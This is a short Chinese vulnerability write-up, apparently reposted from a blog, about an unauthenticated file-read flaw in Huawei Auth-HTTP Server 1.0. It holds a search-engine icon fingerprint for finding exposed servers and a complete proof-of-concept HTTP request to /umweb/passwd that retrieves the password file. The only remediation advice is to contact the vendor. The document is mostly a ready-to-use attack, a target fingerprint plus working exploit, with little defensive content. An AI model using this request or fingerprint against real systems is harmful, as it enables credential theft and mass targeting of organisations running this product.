【漏洞复现】华为Auth-Http服务文件读取漏洞

2023-12-18 16:28:02

Nx01 产品简介

????????Huawei Auth-HTTP Server 1.0 可以实现基于角色的访问控制,通过用户的身份认证和权限控制,确保只有经过授权的用户可以访问特定的资源和服务。它支持常见的身份认证协议和技术,如LDAP、RADIUS、TACACS+等,能够与企业现有的认证系统无缝集成,提供一致的认证体验。

Nx02 漏洞描述

???????华为Auth-Http服务存在文件读取漏洞。访问umweb/passwd可以读取文件敏感信息。

Nx03 产品主页

????????web.icon=="be2408ce4716a5cfc50dd0ada76619d6"

Nx04 漏洞复现

POC:

GET /umweb/passwd HTTP/1.1
Host: {{Hostname}}
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Nx05 修复建议

????????建议联系软件厂商进行处理。

文章来源:https://blog.csdn.net/qq_37113223/article/details/135062227
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。